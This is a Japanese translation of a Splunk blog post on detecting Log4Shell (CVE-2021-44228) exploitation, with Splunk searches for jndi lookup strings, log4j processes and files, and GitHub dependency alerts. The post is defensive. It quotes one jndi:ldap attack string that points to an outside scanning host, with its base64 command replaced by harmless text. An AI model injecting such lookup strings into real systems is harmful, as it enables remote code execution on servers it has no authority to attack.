Log4Shell - Splunkを使ってLog4j 2 RCEを検出する

著者/寄稿者：Splunkのセキュリティはいつでもファミリービジネスです。クレジットは著者がRyan Kovar、協力者がShannon Davis、Marcus LaFerrera、John Stoner、James Brodsky、Dave Herrald、Audra Streetman、Johan Bjerke、Drew Church、Mick Baccio、Lily Lee、Tamara Chacon、Ryan Becwarです。

Splunkは現在、すべてのサポート製品について、この問題の影響を確認し、修正/緩和策を調査しています。詳しくは、Apache Log4jに関するSplunkのセキュリティアドバイザリーを参照してください。

Log4j 2 RCEの検出方法については、「Splunkを使ってLog4j 2 RCEを検出する」セクションを参照してください。この記事では、この問題の概要、検出方法、MITRE ATT&CKとのマッピングについて説明します。

Log4j RCEの概要

広く使用されているオープンソースのApache Log4jログ出力ライブラリに見付かった重大な脆弱性(CVE-2021-44228)は、このライブラリを使用する多数のアプリケーションやサードパーティサービスに脅威をもたらします。PoC (概念実証)コードでは、RCE(リモートコード実行)の脆弱性を悪用できることが実証されています。具体的には、攻撃者が特殊な文字列をLog4jのログに記録させると、その後、外部ソースの任意のコードを実行できるようになります。Apacheソフトウェア財団は先日、この脆弱性に対する緊急パッチを公開しました。影響を受ける組織は、早急にLog4j 2.15.0にアップグレードするか、アップグレードできない場合は適切な緩和策を実施してください。

攻撃の概要

Log4jは、幅広いフレームワーク、アプリケーション、ツールで使用されています。実際、Ars Technicaによると、Apache Struts 2、Apache Solr、Apache Druid、Apache Flinkなど、人気のある複数のフレームワークでLog4jが使用されています。多くの場合、システム管理者は、自身が管理する環境でLog4jが使用されていることに気付いてすらいないでしょう。この脆弱性を悪用すれば、細工した文字列を含むログイベントを実行するだけで攻撃ができます。ただし、攻撃を成功させるにはいくつかの条件があります(詳しくは、LunaSec社のブログ記事とApache Log4jのセキュリティアドバイザリーを参照してください)。システムがスキャンされても、次の条件を満たさない限り攻撃は成立しません。

• Log4jのバージョンが2.0-beta9以上、2.14.1以下である
• 対象のシステムに攻撃者がアクセスして悪質なペイロードを送り込める
• 攻撃者からのリクエストがLog4jを介してログに記録される

詳細は次のセクションで説明しますが、脆弱性のあるサーバーを見付けるために、多数のホストがインターネット中をスキャンしています。

システムに脆弱性があっても、適用できるパッチや緩和策があるので、過度に恐れる必要はありません。

Splunkを使ってLog4j 2 RCEを検出する

現在、多数のネットワークスキャンが発生しています。このスキャンに使われるIPアドレスをウォッチリストに追加することもできますが、攻撃者は頻繁にIPアドレスを変更するため、長期的に攻撃を検出するには最善の方法とは言えません。

朗報は、この攻撃が現在、ユーザーエージェントフィールド内で確認されている点です。情報提供元のGreyNoise社に深く感謝します。

${jndi:ldap://45.155[.]205.233:12344/Basic/Command/Base64/U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo}

(無害化済み)

封書に例えると、スキャンを受けているかどうかを確認するには、封筒を確認するだけで、その中身を確認する必要はありません。上記の場合、「${jndi:ldap://」の部分が封筒で、中身であるbase64の部分をデコードする必要はまだありません。

変種として、「${jndi:」の後に「ldap」以外の文字が使われることもあります。たとえば、「ldaps」、「rmi」、「dns」などです。でも心配はありません。Splunkはこの活動の検出に使用できるサーチをいくつか用意しています。

一方で、コマンドの実行を把握し、その動作が単なるスキャンなのか攻撃なのかを判断するには、エンコードされた文字列を解析する必要があります。ただし、この問題はまだ新しいため、まずは「jndi」が使われている場所をすべて特定することを優先したいと思います。

侵害の痕跡(IOC)

報告されているスキャン活動の多くではユーザーエージェントフィールドで文字列「${jndi」が使われていますが、この文字列は他の場所でも使われることがあるので注意が必要です。この問題に対処するために、Splunkは、ユーザーエージェントで悪質な文字列を探す第1のサーチと、その他の場所でより幅広く不審な文字列を探す第2のサーチを開発しました。

sourcetype=bro:http:json user_agent=${jndi:*}
| stats sparkline values(user_agent) count by src_ip, dest_ip, dest_port

これを見て「それで、user_agent以外の場所で文字列を探すサーチは？」と思われたかもしれません。そちらは少し面倒になります。特定のフィールドに限定できない場合は、次のような非構造化データ検索を実行する必要があります。

index=* ${jndi:*}

このサーチではワイルドカードを使って非構造化データを探すため、検索コストが非常に高くなります。それでも、不審な文字列をくまなく検索できます。検索対象の資産のアドレス範囲やデバイスタイプなど、サーチの範囲を限定する追加条件がある場合は、それを指定することでサーチのコストを下げることができます。このサーチのコストを下げるもう1つの方法は、SplunkのCIM (共通情報モデル)の高速化データモデルを利用することです。たとえば「http_user_agent」はWebデータモデルのフィールドで、「tstats」技法を使って検索できます(詳しくは次のセクションを参照してください)。

繰り返しますが、この活動が検出されたからといって、侵害を受けているとは限りません。誰かがドアノブを回して鍵が開いていないかどうか確かめているだけです。実際に侵害または攻撃されているかどうかを判断するには、この活動が検出されたシステムをさらに調査する必要があります。

ここで、エンコードされた文字列の解析が必要になります。先ほどは封書の中身を無視して封筒だけを調べました。次は封書の中身に取り組みます。下の例では、最初に参考として挙げた文字列を含む「test」というフィールドを作成しています。Splunkでこの文字列やその他の文字列を解析するには、base64をデコードするためのAppをインストールして、サーチ条件に一致するすべてのイベントに適用する必要があります。ここではCyberChef for Splunkを使用していますが、base64をデコードできればどのAppでもかまいません。この例では、攻撃者は親切にもbase64コマンドの前に文字列「/Base64/」を付けてくれているので、この文字列を探して、それ以降の部分を取得します。

今後、攻撃が巧妙化したら、rexコマンドを修正する必要がありますが、基本はこの形です。base64デコーダーを使用すると、下の図のような結果が得られます。図では、curlステートメントとwget、そして関連するIPアドレスが並んでいます。必要であれば、これらのIPアドレスをウォッチリストに登録できます。結果から、ほかにも役立つ情報が見付かる場合もあります。

サイトをスキャンする文字列をブログに掲載したくないので、base64の部分を、例を示した無害な文字列に置き換えました。下のサーチをコピー＆ペーストして実行すると、図のデコードされたコマンドとは異なる結果が返されますが、基本的な考え方は同じです。

| makeresults 
| eval test="${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo}"
| rex field=test "\/Base64\/(?\S+)}"
| table string
| cyberchef infield=string outfield=result operation=FromBase64

Log4j自体を検出する

前述のとおり、Log4jは幅広いアプリケーション、フレームワーク、ツールで使用されています。そのRCEの脆弱性がある範囲を特定するには、環境全体のプロセス実行ログを検索して、Log4jアクティビティの痕跡を探します。必要に応じて、Log4jによるファイル作成/変更の痕跡を名前またはパスから探し出すこともできます。Log4jの呼び出しは長くなりがちなので、ファイルの書き込みやコマンドラインの実行で見つかる可能性があります。

いずれのサーチでも、確実に検出するには検索範囲が広くなります。そもそもLog4j自体が広範に使用されます。それでも、Splunkなら環境全体をすばやく検索して影響範囲を特定できます。

ここでは、プロセス実行ログはきちんと収集されていると仮定します。その重要性はカーター政権時代から言われていることです。サーチについては、CrowdStrike社の友人がRedditに投稿したサーチなどを参考にしました。参考にしたサーチは、CrowdStrike Falconで収集されたプロセス実行ログを検索してLog4jの痕跡を見付けるものですが、Splunkのお客様がFalconを使用しているとは限りません。では、Splunkであらゆるソースのあらゆる形式のプロセス実行ログを検索するにはどうすればよいでしょうか？

答えは、Splunk CIMのEndpointデータモデルを使用することです。このデータモデルを使えば、プロセス実行の詳細を正規化して、プロセスや親プロセスなどのフィールドに分けることができます。さらに、このデータモデルを高速化すれば(そうすることをお勧めします)、環境全体を短時間で検索できます。そのサーチがこちらです。

| tstats summariesonly=t values(Processes.parent_process) AS parent_process,values(Processes.process) AS process,latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Processes where (Processes.parent_process="*log4j*" OR Processes.process="*log4j*") by host 
| eval _time=latest
| reltime 
| fields - _time
| convert ctime(latest), ctime(earliest)
| table host parent_process process reltime latest earliest

このサーチを実行すれば、「log4j」が名前または親プロセスの名前に含まれるプロセスを実行するホストがすぐに表示されます。

Endpoint.Processesデータモデルを使用または高速化しない場合、同じことをするのは難しくなるか、検索にかなり時間がかかり、サーチの調整が必要になります。その場合、エンドポイントソリューションを使ってプロセス実行ログを収集できます。もし、まだエンドポイント検出機能の導入を検討している段階であれば、SplunkとしてはMicrosoft Sysmonをお勧めします。しかも、Microsoft社は先日、SysmonのLinux対応版もリリースしました。

Sysmonデータ(LinuxとWindowsの両方に対応)で名前に「log4j」を含むすべてのプロセスまたは親プロセスを検索するRawイベントサーチがこちらです。

index=main (source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR source="Journald:Microsoft-Windows-Sysmon/Operational") EventCode=1 (CommandLine=*log4j* OR ParentCommandLine=*log4j*)
| table _time,host,CommandLine,ParentCommandLine

システムでLog4jを探すもう1つの方法は、ファイル作成ログを使用することです。Sysmonのイベントコード11などがそれに該当します。このタイプのイベントはEndpoint.Filesystemデータモデルに読み込まれ、tstatsをうまく使えば、ファイル作成イベントとそのイベントの生成元プロセスの情報を相関付けることができます。次のサーチは、その検索の基本形です。ただし、大規模環境では2つ目のtstats句で大量のデータが返される場合があります。

| tstats summariesonly=t prestats=t count,values(Filesystem.file_path) AS filepath,values(Filesystem.file_name) latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Filesystem where (Filesystem.file_path="*log4j*" OR Filesystem.file_name="*log4j*") by Filesystem.process_guid
| tstats summariesonly=t prestats=t append=t count,values(Processes.process) as process,values(Processes.process_id) values(host) latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Processes by Processes.process_guid
| eval GUID = coalesce('Processes.process_guid','Filesystem.process_guid')
| eval _time=coalesce('Filesystem.latest','Processess.latest')
| convert ctime(_time)
| stats values(Processes.process) as process, values(Processes.process_id) as process_id values(host) as host, values(Filesystem.file_path) as path ,values(Filesystem.file_name) as file_name latest(_time) as latest_time by GUID
| convert ctime(latest_time)
| search process=* path=* file_name=*
| fields - GUID

SplunkでGitHubデータを使ってプロジェクト内でLog4jを検出する

GitHub OrganizationまたはEnterpriseでソースコードを管理しているソフトウェア開発者の場合は、GitHubのセキュリティ機能を使ってLog4jのような脆弱な依存関係のアラートを生成できます。GitHub Audit Log Monitoring Add-On for SplunkとGitHub App for Splunkを使用すれば、GitHubで脆弱性が検出されたときにSplunkですばやく簡単に確認できます。その後、このデータを使用して、アラートを生成したり、パッチ適用が必要なプロジェクトを特定したり、Splunkの他のデータにコンテキストを追加したりできます。SplunkのDoug Erkkilaによるこちらのビデオでは、GitHubの監査ログデータをSplunkに取り込むための設定方法を紹介しています。GitHubの包括的なセキュリティデータを最大限に活用するには、Splunk HTTPイベントコレクターを使ってWebhookデータを収集する必要がある点に注意してください。Webhookデータの設定手順については、こちらを参照してください。

脆弱性のあるlog4j-apiのバージョンに依存するプロジェクトを通知するアラートの例がこちらです。この例では古いバージョンのApache Strutsを検出しています。

sourcetype=github_json "alert.affected_package_name"="org.apache.logging.log4j:log4j-api"

Splunk Enterprise SecurityとESCU

自身の状況を把握する

ここまでの説明で、この攻撃の概要と、サーチによる調査が必要であることがおわかりいただけたと思いますが、基本対策も相変わらず重要です。資産とアイデンティティをフレームワークに沿って適切に管理するなど、基本的な資産管理をすれば、脆弱なシステムの場所をすばやく特定できます。Splunkに組み込まれている脆弱性スキャンを定期的に実行すると、脆弱性のあるシステムが検出されるため、パッチ適用のスケジュールや検出の優先順位を決めるのに役立ちます。

この脆弱性はCVE-2021-44228として識別され、公開されたばかりです。しかし、脆弱性の潜在的な重大さと影響範囲の大きさを考慮して、スキャナーのライブラリにこの脆弱性が早急に追加されています。攻撃リスクを緩和するには、log4j-coreライブラリを実行するシステムを特定し、スキャンを実行して、この脆弱性を検出することが重要です。

Enterprise Security Content Updates (ESCU)

Splunkのセキュリティ調査チームはできるだけ早く、この脅威の検出を含む新しい分析ストーリーをESCUユーザー向けにリリースする予定です。

Splunkサービス

Splunk情報漏えい対応・対策サービス (English only)

こちらのサービスでは、Splunkのエキスパートが、Splunk製品を使った情報漏えい対策と対応を現場で支援します。具体的な内容は以下のとおりです。

• 迅速なデータソース特定とオンボーディング
• 脅威インテリジェンスの組み込みと利用方法
• 調査と修復を迅速に行うためのサーチとダッシュボードの事前構築
• 戦術的な対応計画
• お使いのSplunk製品による対応方法を検証するための卓上演習

MITRE ATT&CK

インターネットで公開されている幅広いブログ記事を精査した上で、Splunkはこの脆弱性の活動をMITRE ATT&CKにマッピングしました。今後、より多くの情報が公開され、ATT&CK TTPの詳細が明らかになったら、随時、この表とサーチを更新します。

まとめ：とにかくパッチを適用しましょう

Log4j 2 RCEは重大な脆弱性であるため、お客様は早急にパッチを適用し、自社に影響があるかどうかを確認することをお勧めします。パッチをまだ適用していない場合は、この記事に示したサーチを実行することで、組織の状況をより的確に把握できます。もし完璧に機能しなかったとしても、「Splunkスピレーション」として大目に見ていただければ幸いです。先ほども申し上げたとおり、より詳しい情報がわかり次第、このブログを更新します。また、脅威調査チームがEnterprise Security Content Updatesを介してより精度の高い検出方法を公開する予定なので、ぜひ定期的にご確認ください。

このブログはこちらの英語ブログの翻訳、横田 聡によるレビューです。